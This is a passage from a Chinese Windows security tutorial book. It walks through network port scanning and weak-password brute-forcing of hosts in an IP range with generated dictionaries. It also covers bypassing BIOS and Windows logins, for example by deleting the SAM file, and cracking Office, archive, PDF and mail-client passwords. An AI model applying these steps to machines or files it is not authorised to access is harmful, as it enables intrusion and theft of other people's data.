SuperScan也是一款常用的扫描器，它适用于Windows XP和Windows 2003操作系统，使用该软件可以检测到目标主机提供的服务类别、一定范围内活动主机的在线情况和端口情况等。SuperScan扫描器的具体用法如下。

01 　在网上下载SuperScan扫描器，启动其程序打开操作界面，在默认的扫描界面中设置需要扫描的“开始IP”和“结束IP”，单击按钮保存设置，然后单击按钮。

02 　程序开始对指定IP地址段内主机所开启的服务进行扫描，在此过程中程序会分别列出扫描到的信息。

03 　扫描结束后，单击“查看HTML结果”按钮，可通过IE浏览器查看最终的扫描结果，其中包括在线主机的IP地址、主机名称、所在域或工作组等内容。

04 　如果要对某个主机的端口进行扫描，可在SuperScan扫描器操作界面中单击“主机和服务扫描设置”选项卡。

05 　在打开的“主机和服务扫描设置”界面中勾选“UDP端口扫描”和“TCP端口扫描”复选项，并设置其端口范围。

小提示

用户还可以切换到“扫描选项”选项卡，对扫描对象和扫描方式进行设置，以便更快的找出对应的服务和端口信息。

06 　切换到“扫描”选项卡，在“主机名\IP”文本框中输入目标主机的名称或IP地址，然后单击“扫描”按钮，开始执行扫描操作。

07 　扫描结束后单击“查看HTML结果”按钮，即可在打开的IE界面中查看目标主机的UDP端口和TCP端口信息。

例2　使用LanSee查看他人主机中端口

LanSee是一款可以对局域网上的各种信息进行查看的工具，它集成了局域网搜索功能、网络嗅探功能、局域网聊天和文件共享功能（不需要服务器），以及远程管理功能。使用LanSee查看局域网内主机的具体操作如下。

01 　下载并安装LanSee软件，启动其主程序，在打开的操作界面中依次单击“设置”→“工具选项”菜单命令。

小提示

LanSee软件属于收费软件，如果要长期使用需要进行注册。不过该软件提供了30次的试用权限。

02 　在弹出的“选项”对话框中切换到“搜索计算机”选项卡，在其中对搜索IP地址段进行设置。

03 　切换到“扫描端口”选项卡，在其中添加需要扫描的端口号，或者删除不需要扫描的端口。

04 　切换到“网络嗅探”选项卡，在其中根据需要对嗅探信息进行设置，然后单击“保存”按钮。

05 　返回LanSee程序操作界面，选中“搜索工具”选项组中的“搜索计算机”选项，然后单击右侧的“开始”按钮。

06 　程序会自动对局域网内主机的IP地址和文件共享情况进行扫描，并在程序窗口中显示扫描结果。

07 　切换到“设置共享资源”选项界面，可以根据需要对本机的共享文件进行管理。

08 　展开“网络信息”选项组，选中“活动端口”选项，然后单击右侧的“刷新”按钮，对本机的活动端口进行扫描。

09 　扫描结束后，本机的所有活动端口都会显示在程序窗口中，用户需仔细查看，然后按照本书前面介绍的方法关闭危险且不需要的端口。

10 　切换到“网络信息”选项组中的“扫描端口”界面，然后单击“开始”按钮，对局域网内主机的端口进行扫描。

11 　扫描结束后，程序会显示出局域网内所有主机当前开启的端口，用户需针对指定主机进行查看。

12 　切换到“管理工具”选项组界面，用户可以打开“远程关机”操作界面，然后在其中设置，对拥有权限的主机进行远程关机或重启，如果有疑问，还可以参阅“使用说明”。

13 　切换到“嗅探工具”选项组，单击“嗅探服务”选项打开其操作界面，在“网卡”下拉列表框中选择网卡，然后单击“扫描网络”按钮。

14 　扫描结束后，程序会显示本地主机当前的网络状态，以及局域网内的所有主机。

当然，LanSee的功能远不止上述介绍的这些，如果需要，用户可在使用过程中进行深入的了解。

例3　使用HostScan扫描网络主机

HostScan软件是一款强大的网络主机扫描软件，包括IP扫描，端口扫描和网络服务扫描。扫描完成后，会给出一份详细的网络扫描报告，以备查阅。

IP扫描可以扫描任意范围的IP地址（0.0.0.0）到（255.255.255.255），找到正在使用中的网络主机。

端口扫描可以扫描已发现的网上主机的端口，范围可以从1到65535，获得已经打开的端口的信息，对端口分析可以知道是否有人在你的电脑上留下了后门。

网络服务扫描可以扫描打开的端口，返回端口后台运行的网络服务信息，例如，80端口通常运行的是HTTP服务。

HostScan软件运行稳定，扫描结果准确；并能根据网络的不同情况调整扫描等待时间，对于局域网（LAN）用户特别有用。下面介绍使用HostScan扫描网络主机的方法。

01 　下载并安装HostScan软件，启动其主程序，在主界面左下角中的“用户地址”栏设置扫描的范围，然后单击“开始”按钮。

02 　软件开始对指定范围内包括本机的计算机进行扫描，用户可在右侧的窗格中查看扫描到的信息。

03 　扫描完成后，程序会弹出“扫描结果报告”对话框，其中显示了扫描结果，例如，某台计算机中开启的端口等信息。

例4　使用NMAP扫描器扫描计算机

Nmap是一款功能强大的端口扫描工具，它适用于Windows XP/2003等操作系统，其主要功能有：探测一组主机是否在线，扫描主机端口，嗅探其提供的网络服务及所用系统版本等信息。使用Nmap扫描计算机的具体操作如下。

01 　下载并安装Nmap软件，启动其主程序，在打开的程序窗口中依次单击“Profle”→“New profle”菜单命令。

02 　弹出“Profle Editor”对话框，在“Profle name”文本框中设置新配置文件的名称，然后单击“Scan”选项卡。

03 　在“Scan”选项卡中根据实际情况设置扫描配置信息，然后单击“OK”按钮。

04 　如果需要进行Ping扫描，切换“Ping”选项卡，然后在打开的页面中设置扫描信息。

05 　返回程序窗口，在“Target”文本框中输入要扫描的计算机的IP地址，在“Profile”下拉列表框中选择制定好的扫描配置文件，然后单击“Scan”按钮。

06 　软件会自动对指定主机进行扫描。待扫描完成后，在“Nmap output”列表框中会显示扫描结果。

例5　使用黑客字典编辑弱口令的扫描规则

所谓“黑客字典”就是将一些口令的组合或字母、数字、字符等，按一定规则排列组合编辑成的文件，它经常与弱口令扫描工具搭配使用。

小提示

弱口令指的是仅包含简单数字和字母的口令，如“123”、“abc”或者手机号码、生日等。这类口令很容易被破解。建议使用由英文字母和数字混合组成的密码，并且在方便记忆的情况下尽量增加密码的长度。

现在很多黑客软件都可以对系统中的弱口令进行扫描，特别是SQL数据库的sa登录口令，更是扫描的重点。需要注意的是在使用黑客软件扫描弱口令时，需要同时加载黑客字典。下面以小榕黑客字典为例进行介绍。

01 　下载小榕黑客字典文件，将其解压并启动其主程序，在打开的程序界面中单击“注册”按钮。

小提示

小榕黑客字典是一款功能强大的黑客字典生成器，适用于Windows XP/2003操作系统。在不注册的情况下也能使用，但是很多主要的信息都无法设置，所以在使用前应进行注册。

02 　在弹出的“注册”对话框中，分别在“用户名”和“注册码”文本框中填写对应的信息。

03 　稍后会弹出对话框提示注册成功，单击“确定”按钮关闭该对话框返回“黑客字典”程序主界面，选择运行方式，然后单击“确定”按钮。

04 　在默认打开的“设置”选项卡中，设置生成字符串中包含的字母或数字及其范围。

05 　切换到“选项”选项卡，在其中设置黑客字典生成文本的形式。

06 　切换到“文件存放位置”选项卡，单击“浏览”按钮。

07 　在弹出的“另存为”对话框中设置文件的名称和保存位置，单击“保存”按钮。

08 　返回到“字典设置”对话框，切换到“高级选项”选项卡，勾选“使用高级选项生成字典”，在其中固定字母、数字或字符位置，然后单击“确定”按钮。

09 　在弹出的“高级字典属性”对话框中显示了生成字典的所有信息，确认无误后单击“开始”按钮。

10 　软件开始生成字典，此过程由系统自动完成，待字典生成结束后，单击“确定”按钮，完成设置。

例6　使用弱口令扫描器获取口令

当字典文件创建好后，就可以使用弱口令扫描器加载自己编辑的字典文件进行弱口令扫描了。这里以Tomcat软件为例进行介绍，该软件适用于Windows XP/2003操作系统，它可以根据需要加载用户名称字典，密码字典，对一定IP范围内的主机进行弱口令扫描，具体操作如下。

01 　下载Tomcat软件，将其启动，在打开的程序操作界面中单击“设置”按钮。

02 　在打开的“设置”界面中单击“用户名”窗格下方的“导入”按钮。

03 　在弹出的“打开”对话框中找到并选中编辑好的黑客字典，然后单击“打开”按钮。

04 　按照相同的方法将黑客字典导入“密码”窗格中。

05 　切换到“信息”设置界面，在“IP起始地址”和“终止地址”文本框中设置对应信息，单击“添加”按钮将设置添加到地址列表中，然后单击“开始”按钮。

06 　程序开始对指定IP地址段中的主机进行扫描，若发现活动主机，即可对主机的用户名和密码进行破解。

例7　解决扫描器停止响应的情况

扫描器停止响应是很正常的，可能是因为启用线程过多，本地系统资源不足而造成的。也可能是因为对方服务器响应较慢，依次发出去的请求被同时返送回来而造成网络堵塞。还有可能是服务器安装了比较厉害的防火墙，一旦察觉到有人扫描就发送特殊的数据包回来，造成系统瘫痪。

一般情况下，遇到扫描器停止响应的问题，可以尝试更换其他扫描器进行扫描，如果问题仍然存在，则可能是因为扫描器与本机操作系统不兼容而造成的。

例8　解答扫描不到QQ开放端口的情况

在使用端口扫描器扫描主机时，有时扫描不到QQ程序开放的端口。这种情况主要是因为QQ在通信时使用了UDP协议，而UDP协议在通信时是不建立连接的，并且端口扫描器是基于TCP协议运行的。因此，当用户试图通过“连接”或“半连接”测试方式来确定端口是否开放时，端口扫描器是无法扫描出QQ开放的端口的。

第5章　密码攻防

5.1　BIOS密码攻防

BIOS密码是电脑的第一道安全门，为BIOS设置密码可以防止他人擅自更改BIOS设置，或者防止别人进入自己的电脑系统，是保护电脑安全的有效措施之一，本节将介绍有关BIOS密码的设置与破解的知识。

例1　设置BIOS用户密码

设置“User Password”后输入正确的密码可以进入BIOS设置界面并浏览相关设置，但不能对BIOS设置作修改。设置BIOS用户密码的方法如下。

01 　启动电脑，在显示开机自检画面时，根据屏幕下方的提示“Press DEL to enter SETUP”，按下“Delete”键进入BIOS。

02 　在BIOS操作界面使用“↑”或“↓”方向键选中“Set User Password”选项，按“Enter”键确认。

03 　在弹出的“Enter Password”（输入密码）对话框中输入要设置的密码，然后按“Enter”键。

04 　在弹出的“Confirm Password”（确认密码）对话框中，再次输入刚才设置的密码，然后按下“Enter”键确认。

05 　密码设置完成后，按下“F10”键，会弹出“SAVE to CMOS and EXIT（Y/N）？Y”对话框，再次按下“Enter”键可保存设置并退出BIOS。

小提示

更改BIOS密码的方法与设置密码的方法相同。如果要撤销BIOS密码，只要在更改密码时不输入任何字符，连续按两次“Enter”键确认即可。

例2　设置BIOS超级用户密码

设置超级用户密码（Set Supervisor Password）可以阻止他人进入系统或修改BIOS设置，设置方法如下。

01 　启动电脑，在显示开机自检画面时，根据屏幕下方的提示“Press DEL to enter SETUP”，按下“Delete”键进入BIOS。

02 　在BIOS操作界面使用“↑”或“↓”方向键选中“Set Supervisor Password”选项，按“Enter”键确认。

03 　在弹出的“Enter Password”（输入密码）对话框中输入要设置的密码，然后按“Enter”键。

04 　在弹出的“Confrm Password”对话框中，再次输入密码，按“Enter”键确认。

05 　密码设置完成后，按下“F10”键，会弹出“SAVE to CMOS and EXIT（Y/N）？Y”对话框，再次按下“Enter”键可保存设置并退出BIOS。

小提示

设置“Set Supervisor Password”后用户必须输入正确的密码才能进入BIOS设置界面并有权对BIOS设置进行修改。

例3　设置密码检测方式

当设置了BIOS密码后，如果将密码检测方式设定为“Setup”，则只有在进入BIOS设置时才要求输入密码；如果将检测方式设置为“System”，则在开机启动系统和进入BIOS设置时都需要输入密码。设置方法如下。

01 　在BIOS设置界面中，设置好BIOS超级用户密码或者用户密码。

02 　使用“↑”或“↓”方向键选中“Advanced BIOS Features”（高级BIOS特性）选项，然后按“Enter”键进入。

03 　使用“↑”或“↓”方向键选中“Security Option”选项，按“Enter”键打开其设置对话框。

04 　在弹出的“Security Option”设置对话框中选择“System”选项，然后按“Enter”键确认。

05 　按下“Esc”键，返回到BIOS设置主界面，找到并选中“Save＆Exit Setup”选项，按“Enter”键，在弹出的对话框中输入“Y”，按“Enter”键保存并退出设置即可。

小提示

如果没有设置BIOS的超级用户密码和用户密码，那么“Security Option”选项的设置将不起作用。此外，如果需要了解更多的BIOS设置知识，可以参考相关的资料，这里不再详述。

例4　利用COMS放电法破解BIOS密码

当忘记BIOS密码或者要强行修改BIOS设置，则可采取措施对BIOS密码进行破解。破解BIOS密码的方法有两种：CMOS放电法和跳线短接法，这里介绍COMS放电法。

小提示

由于BIOS密码都保存在主板上的CMOS芯片（RAM储存器）中，而CMOS芯片依靠CMOS电池为其供电，当CMOS芯片的电源断开后，其中的数据将丢失。

01 　打开电脑机箱，找到主板上银白色的纽扣电池，小心地将它取下，用金属片短接电池底座上的弹簧片，此时，CMOS芯片将因断电而暂时失去记忆功能，其内部储存的信息都将全部丢失。

02 　等待几秒钟后，将电池按原来的方向置入电池插槽中即可。

例5　利用跳线短接法破解BIOS密码

有的主板的CMOS芯片与电池整合在了一起，或者电池不好取下。遇到这种情况将不能使用CMOS放电法清除BIOS密码，此时可以采用跳线短接法，具体操作如下。

01 　打开电脑机箱，找到在CMOS电池旁边的跳线，并将跳线帽取下。

02 　将跳线帽连接到另外两根跳线上，稍等片刻，以确保BIOS信息已被清除。

03 　再次取下跳线帽，将跳线帽重新接回到之前的连接位置，然后盖好机箱侧面板即可。

小提示

由于不同主板的跳线设置情况不完全一样，所以在采用跳线短接法清除BIOS密码之前，最好先查阅该主板说明书，查看CMOS跳线的位置。此外，采用CMOS放电法和跳线短接法清除BIOS密码前，应先切断主机电源。

5.2　操作系统密码攻防

在操作系统中设置一些安全密码，例如，设置账户登录密码、电源管理密码等，可以防止他人使用电脑，从而在一定程度上保证了个人信息的安全。相反，如果获取了对方的系统密码，即可登录对应电脑，从而进行需要的操作，本节主要介绍操作系统密码的攻防技巧。

例1　通过“计算机管理”窗口设置账户登录密码

用户账户登录密码是操作系统的第一道安全屏障，可以在一定程度上将黑客拒之门外。在Windows操作系统中，可以通过“计算机管理”窗口设置来设置账户登录密码，具体操作如下。

01 　在系统桌面上右键单击“计算机”图标，在弹出的菜单中单击“管理”命令，打开“计算机管理”窗口。

02 　在窗口左侧依次展开“计算机管理（本地）”→“系统工具”→“本地用户和组”→“用户”目录，在右侧窗口中右键单击账户名称，本例为系统默认账户“Administrator”，在弹出的菜单中单击“设置密码”命令。

03 　在弹出的“为Administrator设置密码”对话框中，根据提示在为账户设置密码即可。

例2　通过控制面板设置账户登录密码

在Windows操作系统中，控制面板中集成了几乎所有的系统设置，当然账户密码也可以通过控制面板来设置，具体操作如下。

01 　在系统桌面左下角单击“开始”按钮，在弹出的“开始”菜单中单击“控制面板”命令。

02 　在打开的“控制面板”窗口中，切换到“大图标视图”模式，然后找到并单击“用户账户”链接。

03 　在打开的“用户账户”窗口中找到要设置密码的账户，本例为“Administrator”账户，然后单击“更改密码”链接。

04 　在弹出的“更改密码”窗口中根据提示设置账户密码，然后单击“更改密码”按钮即可。

例3　设置从睡眠状态恢复时的唤醒密码

在Windows 7操作系统中，电源的管理功能也可以设置密码，设置该密码后系统在从节能状态恢复时就会要求输入密码，从而达到保护系统的目的。设置方法如下。

01 　在桌面空白处单击鼠标右键，在弹出的快捷菜单中单击“个性化”命令。在打开的“个性化”窗口中单击“屏幕保护程序”链接。

小提示

在“个性化”窗口中，用户可以根据需要选择个性化的主题、桌面背景、窗口颜色以及系统声音方案等，此外，还可以根据窗口左侧的链接进入对应界面，对系统进行个性化设置。

02 　在打开的“屏幕保护程序设置”对话框中单击“更改电源设置”链接。在打开的“电源选项”窗口中单击“唤醒时需要密码”链接。

小提示

在“电源选项”窗口中单击“平衡”选项后方的“更改计划设置”链接，可在打开的窗口中对多显示器的睡眠进行设置。

03 　在打开的“系统设置”对话框中选择“需要密码”单选项，然后单击“保存修改”按钮即可。

小提示

默认情况下，电源管理密码就是系统账户的登录密码，如果还未为系统账户设置密码，则可在此窗口中单击“创建或更改用户账户密码”链接，然后在打开的窗口中进行密码的设置。

例4　设置屏幕保护密码

屏幕保护程序（简称屏保）是一个可以使屏幕暂停显示或以动画的方式显示的应用程序。给屏幕保护程序设置密码，可以阻止未授权用户查看电脑中的信息，从而起到保护电脑信息安全的作用。设置屏幕保护密码的方法如下。

01 　在系统桌面空白处单击鼠标右键，在弹出的快捷菜单中单击“个性化”命令。

02 　在弹出的“个性化”窗口中单击“屏幕保护程序”链接。

03 　在弹出的“屏幕保护程序设置”对话框的“屏幕保护程序”下拉列表中选择一种屏保方案，在“等待”数值框中输入等待时间，勾选“在恢复时显示登录屏幕”复选框，然后单击“确定”按钮即可。

设置屏幕保护程序密码后，如果在指定的时间内未对电脑进行操作，系统将自动启动屏幕保护程序。待重新进入系统时，将打开登录对话框，只有正确输入当前账户的登录密码才能进入系统。

例5　为系统创建密码重设盘

管理员密码对于操作系统是非常重要的，一旦丢失，我们将很可能无法进入系统进行操作。Windows 7操作系统自带了密码重设程序，我们可以在为管理账户设置密码后利用此功能创建一个密码重设盘，当忘记密码时再使用该重设盘对管理员密码进行重设。创建密码重设盘的方法如下。

01 　在系统左下角单击“开始”按钮，在弹出的“开始”菜单中单击“控制面板”命令。

02 　将U盘插入电脑中，在“控制面板”窗口中单击“用户账户”项。

小提示

控制面板有大图标、小图标等视图模式，用户可根据自己的习惯进行切换，以方便操作。

03 　在打开的“用户账户”窗口中在左侧任务列表中单击“创建密码重设盘”链接。

04 　在弹出的“欢迎使用忘记密码向导”对话框中单击“下一步”按钮。

05 　弹出“创建密码重置盘”对话框，在下拉列表中选择U盘盘符，然后单击“下一步”按钮。

06 　在弹出的“当前用户账户密码”对话框中输入当前账户的密码，然后单击“下一步”按钮。

07 　开始创建重设盘，创建完成后单击“下一步”按钮。

08 　在弹出的“正在完成忘记密码向导”对话框中单击“完成”按钮即可。

例6　使用密码重设盘重设登录密码

如果不小心忘记了用户账户的密码，用户只需在系统启动后，将作为密码重置盘的U盘插入电脑中，然后在账户登录界面根据提示重新设置密码即可，具体操作如下。

01 　启动电脑，进入Windows 7的登录界面，在文本框中输入账户密码，然后单击文本框右侧的按钮。

02 　如果用户输入的密码不正确，将无法登录系统，并提示“用户名或密码不正确”，单击“确定”按钮继续。返回到用户账户登录界面，单击文本框下方的“重设密码”链接。

03 　将作为密码重置盘的U盘插入电脑中，在弹出的“重置密码向导”对话框中单击“下一步”按钮。

04 　弹出“插入密码重置盘”对话框，在“密码密钥盘在下面的驱动器中”下拉列表框中选择U盘，然后单击“下一步”按钮。

05 　在弹出的“重置用户账户密码”对话框中设置新的密码并确认密码，然后单击“下一步”按钮。

小提示

在“输入一个密码提示”文本框中可以设置一个密码提示，以帮助用户回忆密码，也可以不设置。

06 　返回到用户登录界面，在文本框中输入新设置的账户密码，单击文本框右侧的按钮，稍后即可登录到系统桌面。

例7　使用软件破解系统登录密码

如果在系统正常运行的情况下没有创建密码重设盘，则可以使用软件来破解系统登录密码，下面以WinPE为例介绍破解登录密码的方法。

1．制作Windows PE启动U盘

在使用WinPE破解密码前，需要先介绍制作带Windows PE的启动U盘，具体操作如下。

01 　将U盘链接到电脑上，从网络中下载“老毛桃WinPE”工具软件，右键单击下载的“winpeboot”文件，在弹出的菜单中单击“解压文件”命令。

02 　在弹出的“解压路径和选项”对话框中设置存储信息，单击“确定”按钮。

03 　依次打开“winpeboot\SETUP”文件夹，在打开的文件夹中双击“PESETUP”文件，启动“老毛桃PE”程序。

04 　在弹出的界面中选择安装方式，这里选择“［4］Grub安装/启动”，按下“Enter”键。

05 　在打开的界面中输入当前U盘盘符，本例输入“G”，按下“Enter”键。

06 　在打开的界面中确认U盘盘符是否正确，然后按下任意键开始安装。

07 　在弹出的对话框中要求格式化U盘，这里选择要制作启动盘的U盘，在“文件系统”文本框中设置系统盘的分区格式，如果对文件系统格式不熟悉，可先通过网络或书籍先进行了解，本例设置为“NTFS”格式，然后单击“开始”按钮。

08 　在弹出的对话框中“是”按钮，确认格式操作。程序开始对U盘进行格式化，这里用户只需耐心等待即可。

09 　格式化完成后会弹出格式化报告，单击“确定”按钮。在弹出的对话框中提示程序将对U盘写入Grub引导，单击“磁盘”文本框右侧的下拉按钮，在弹出的下拉菜单中选择需要导入的U盘，单击“安装”按钮。

10 　程序会自动完成安装，然后按下任意键继续。

11 　在接着打开的界面中提示U盘已经成功写入Grub引导，这里按下任意键继续。

12 　在打开的界面中按照要求设置启动U盘的密码，按下“Enter”键继续。密码设置完成后一定要牢记密码信息，然后按下任意键继续操作。

13 　程序会提示安装完成，这里按下任意键退出安装界面，至此带带Windows PE的启动U盘就制作完成了。

2．使用U盘启动系统并破解密码

Windows PE启动U盘制作完成后，就可以通过它来启动Windows PE系统，然后通过其中的软件来破解登录密码，具体操作如下。

01 　将U盘连接到电脑上，进入BIOS界面，将第一启动设备设置为“USB-HDD”，保存后重新启动电脑。

02 　在U盘的引导下进入WinPE操作界面，单击“开始”按钮，在弹出的“开始”菜单中依次单击“程序”→“Windows系统维护”→“Windows用户密码修改”菜单命令，然后在弹出的对话框中根据提示完成密码的修改即可。

例8　删除Sam文件破解Windows登录密码

Sam文件是Windows 2000/XP系统的密码文件，如果忘记登录密码，可设法删除该文件使密码失效。

01 　启动系统到DOS或故障恢复控制台，进入system32\confg目录下，找到并删除SAM文件。

02 　重新启动，此时管理员Administrator账户已经没有密码了，用Administrator账户登录系统，不用输入任何密码，进入系统后再重新设置登录账户密码即可。

例9　破解Windows屏保密码

如果用户忘记了Windows的屏幕保护密码，可采取如下办法取消它。

01 　启动电脑，在开机自检完成后按“F8”键，选择“安全模式”启动。

02 　进入系统后，鼠标右键单击桌面空白处，在弹出的快捷菜单中选择“属性”命令，打开“显示属性”设置对话框。

03 　“屏幕保护”选项卡，取消“密码保护”复选框。

04 　保存设置并重新启动电脑即可。

5.3　办公文档密码攻防

随着无纸化办公的快速推广，使用电脑处理工作中的文档和数据也变得越来越普及，但是办公文档的安全问题却很少被注意。本节将为广大用户解决办公文档的安全问题。

例1　加密Word文档

作为电脑办公的主要工具，Word文档的安全直接关系到用户劳动成果的安全。为避免他人在非授权情况下浏览或恶意更改Word文档，用户可以对Word文档设置打开和修改权限密码。具体操作如下。

01 　Word文档编辑完成后，单击“Offce”按钮，在弹出的下拉菜单中，单击“保存”命令。

02 　在弹出的“保存为”对话框中，单击“工具”按钮，在弹出的下拉菜单中，单击“常规选项”命令。

小提示

如果对文档修改后，需要保存修改够的文档又要保留原文档时，可以在下拉菜单中单击“另存为”命令，继续对编辑后的文档设置修改权限密码。

03 　在弹出的“常规选项”对话框中，在“修改文件时的密码”文本框中输入密码，单击“确定”按钮，完成设置。

如果用户的文档中包含有不希望未授权用户查看的内容，可以通过对Word文档设置打开权限密码来避免他人浏览。按照设置Word文档的修改权限密码的方法，打开“常规对话框”，在“打开文件时的密码”文本框中输入密码，然后单击“确定”按钮可完成设置。

例2　设置窗体保护

用户可以通过对Word文档设置窗体保护功能，来增强文档的安全性，具体操作如下。

01 　在要设置窗体保护的Word文档中，单击左上角的“Offce”按钮，在弹出的下拉列表中单击“另存为”命令。

02 　在弹出的“另存为”对话框中单击“工具”按钮，然后在弹出的下拉菜单中单击“常规选项”命令。

03 　在弹出的“常规选项”对话框中单击“保护文档”按钮，然后单击“另存为”对话框中的按钮，将其关闭。

04 　在弹出的“限制格式和编辑”窗格中勾选“仅允许在文档中进行此类编辑”复选框，单击“编辑类型”文本框右侧的下拉按钮，在弹出的下拉列表中单击“填写窗体”命令，然后单击“是，启动强制保护”按钮。

05 　在弹出的“启动强制保护”对话框中，在“新密码”文本框中输入密码，在“确认新密码”文本框中再次输入密码，单击“确定”按钮，完成设置。

例3　加密Excel文档

为Excel工作表设置打开和修改权限密码，可以增强工作表的安全性，具体操作如下。

01 　Excel工作表编辑完成后，单击“Offce”按钮，在弹出的下拉菜单中，单击“保存”按钮。

02 　在弹出的“另存为”对话框中，单击“工具”按钮，然后在弹出的下拉菜单中单击“常规选项”命令。

03 　在弹出的“常规选项”对话框中，在“打开权限密码”文本框中设置打开权限密码，在“修改权限密码”文本框中设置修改权限密码，然后单击“确定”按钮，完成设置。

例4　查看Access数据库密码

目前，很多中小型网站都喜欢采用Access数据库，其中可能保存了大量的会员资料等，为了保证安全，很多数据库都设置了密码。不过，现在很多软件都可以破解Access数据库密码。这里以Access密码恢复者进行介绍。

01 　打开Access密码恢复者，程序要求选择一个mdb文件，单击“打开”按钮。

02 　在弹出的对话框中选择需要破解密码的mdb文件，然后在返回的对话框中设置新的密码，单击“确定”按钮即可。

例5　破解Office文档密码

对Office文档进行加密，可以预防他人查看或更改文档信息，但是如果自己忘记了这些密码，就需要先破解该文档的密码。破解Office文档密码的方法很多，主要是通过软件来实现的。下面以Advanced Office Password Recovery为例，介绍破解Word文档密码的方法。

01 　下载并解压Advanced Office Password Recovery软件，启动其主程序，在软件主界面中单击“打开文件”按钮。

02 　在弹出的“打开文件”对话框中找到并选中要解密的Word文档，然后单击“打开”按钮。

03 　程序开始对加密Word文档进行破解，此过程因密码的复杂程度不同，所需的时间也有所不同，用户需要耐心等待。

04 　待破解完成后，程序会将加密文档的密码信息显示出来，并且撤销原加密文档的密码，如果需要，用户只需进入Word文档重新设置密码即可。

除了Word文档密码以外，Advanced Offce Password Recovery软件还能够破解包括Office Excel、Access、PowerPoint以及Outlook VBA宏文件等的密码。

例6　利用WinRAR加密文件

通常一提到WinRAR，人们就会想到其压缩和解压缩文件的功能，事实上WinRAR除了基本压缩与解压缩功能外，还附加了许多操作简单、方便实用的功能，下面就具体介绍如何利用WinRAR加密文件。

01 　右键单击要加密的文件（此例为“科比”图片文件），然后在弹出的菜单中，单击“添加到压缩文件”命令。

02 　在弹出的对话框中设置压缩文件名、压缩格式、压缩方式以及更新方式等信息。

03 　单击“高级”选项卡，然后在“高级”选项卡界面，单击“设置密码”按钮。

04 　在弹出的“带密码压缩”对话框中设置密码信息，然后依次单击“确定”按钮，完成加密并压缩文件。

利用WinRAR给文件加密后，不管是对加密文件进行解压还是用WinRAR打开文件，都会弹出“输入密码”对话框，输入正确的密码后才能解压或者打开加密文件。

例7　破解RAR压缩文件密码

使用WinRAR为文件加密后可以让用户能够很好的保护自己的文件不被非法窃取，但如果用户忘记了压缩密码，则可能会造成连自己都无法使用这些加密文件，此时，可以使用一些破解软件进行密码破解。这里以Advanced RAR Password Recovery为例进行介绍。

01 　下载并解压Advanced RAR Password Recovery软件，启动其主程序。

02 　在主界面中的“Encrypted RAR-file”文本框中添加要破解密码的压缩文件，在“Type of attack”中选择攻击方式：包括“Brute-force”（强力攻击），“mask”（掩码搜索）、“Dictionnary”（字典攻击）等；在“Brute-force range options”舍得强力攻击法的搜索范围。

小提示

如果用户了解口令的组合特点，通过设定一下选项可以缩短搜索时间；在“Start form”文本框中，当用户知道密码的真实字符序列时，可以设定该项。在“Password length”文本框中可以设置口令的长度；“Auto-save”选项的功能是定期自动保存软件当前设置与工作状态，用户可以执行指定参数的文件名、自动保存的时间间隔等，该选项可以让用户继续上次中断的解密进程。

03 　设置好相关参数后，单击“Start！”按钮即可开始解密，在解密过程中用户可以随时中断解密进程。

04 　当密码找到后，用户会在搜索结果窗口中看到密码内容、试探密码总数、破解消耗时间、平均运算速度等信息，如果没有找到密码，也会有相应的提示信息。

例8　破解ZIP压缩文件密码

针对ZIP压缩文件，Elcomsoft公司推出了Advanced ZIP Password Recovery软件，专门用于破解ZIP压缩文件密码。这款软件破解密码的速度很快，可以帮助用户找回ZIP文件的密码，注册后可以解开多达128位数的密码。它提供有预估算出密码所需要的时间；可以中断计算与恢复并继续上次的计算，它的使用方法与上一节介绍的Advanced RAR Password Recovery软件的使用方法相同，读者可参照前面的信息来进行操作，这里就不多介绍了。

例9　破解Outlook Express密码

如果忘记了Outlook Express的个人标识密码，可采取如下办法破解。

01 　重新启动电脑，按“F8”键选择“安全模式”进入系统。

02 　运行Outlook Express软件，这时Outlook Express就不需要密码了，然后可以重建一个用户，把邮件导入新用户信箱即可。

例10　破解PDF文档密码

PDF文件格式是电子发行文档的常用格式，越来越多的电子图书、产品说明、公司文告、网络资料、电子邮件都在使用PDF格式文件。忘了PDF文档的密码，可使用PDF Password Remover软件来解决。

01 　运行PDF Password Remover，单击“Open PD”按钮打开文件查找对话框。选择要破解的PDF文件，单击“打开”按钮。

02 　随即弹出“另存为”对话框，设置破解后的文件的文件名和保存位置，设置完毕后单击“保存”按钮即可。

例11　破解Foxmail账户密码

Foxmail是一种常用的邮件管理软件，它支持对邮箱账户加密。如果忘记了密码，可采取如下办法破解。

01 　打开Foxmail，新建一个账户，账户名任意，如user。

02 　退出Foxmail，运行Windows资源管理器，找到Foxmail\mail\user文件夹，里边有个“account.stg”文件，把它复制到忘记密码的账户（如“user”）目录中，直接覆盖原来的“account.stg”文件。

03 　重新运行Foxmail，打开忘记密码的账户，就可以直接打开忘记密码的账户了。

例12　查看星号“*”密码

Windows系统中很多软件的密码都是以星号显示的，如果忘记了密码，可使用“XP星号密码查看器”之类的工具软件将密码明文显示出来。

其他这样的软件有很多，例如，Windows 98/2000下可用iOpus Password Recovery，Windows XP下可用Password Spectator Pro。使用时，只需先打开显示星号“*”的窗口，启动这类软件，然后按住“Ctrl”键，在密码栏中按下鼠标左键，这些星号“*”密码的原始字符就会显示出来了。

第6章　远程控制攻防

6.1　Windows远程桌面连接

远程桌面链接是一种类似Telnet的技术，当某台计算机开启了远程桌面连接功能后，其他用户就可通过网络控制这台计算机。微软公司最早是在Windows 2000操作系统中开始内置了远程桌面功能，后续操作系统也都提供这一组件。

例1　如何启用远程桌面连接

继Windows 2000操作系统以后，微软公司在Windows XP/2003/Vista/7等后续操作系统中也内置了远程桌面功能，并改进了启用方法，操作更加简单。下面以Windows 7为例介绍在Windows操作系统中启用远程桌面连接的方法。

01 　在系统桌面上右键单击“计算机”图标，然后在弹出的菜单中单击“属性”命令。

02 　在打开的“系统”窗口左侧单击“远程设置”链接。

03 　弹出“系统属性”对话框，在默认的“远程”选项卡中勾选“远程桌面”栏的“允许运行任意版本远程桌面的计算机连接（较不安全）（L）”单选项，然后单击“确定”按钮，即可启用远程桌面连接功能。

小提示

如果选择“只允许运行带网络级身份验证的远程桌面的计算机连接（更安全）（M）”单选项，则还需要单击“选择用户”按钮，添加允许连接的用户对象。

例2　如何发起远程桌面连接

当本机开启远程桌面连接功能后，网络上的其他计算机便能向本机发起远程桌面连接。具体操作如下。

01 　单击系统桌面左下角的“开始”按钮，在弹出的“开始”菜单中依次单击“所有程序”→“附件”→“远程桌面连接”菜单命令。

02 　在弹出的“远程桌面连接”对话框中单击“选项”按钮。

03 　在默认的“常规”选项卡下输入要连接的主机名。

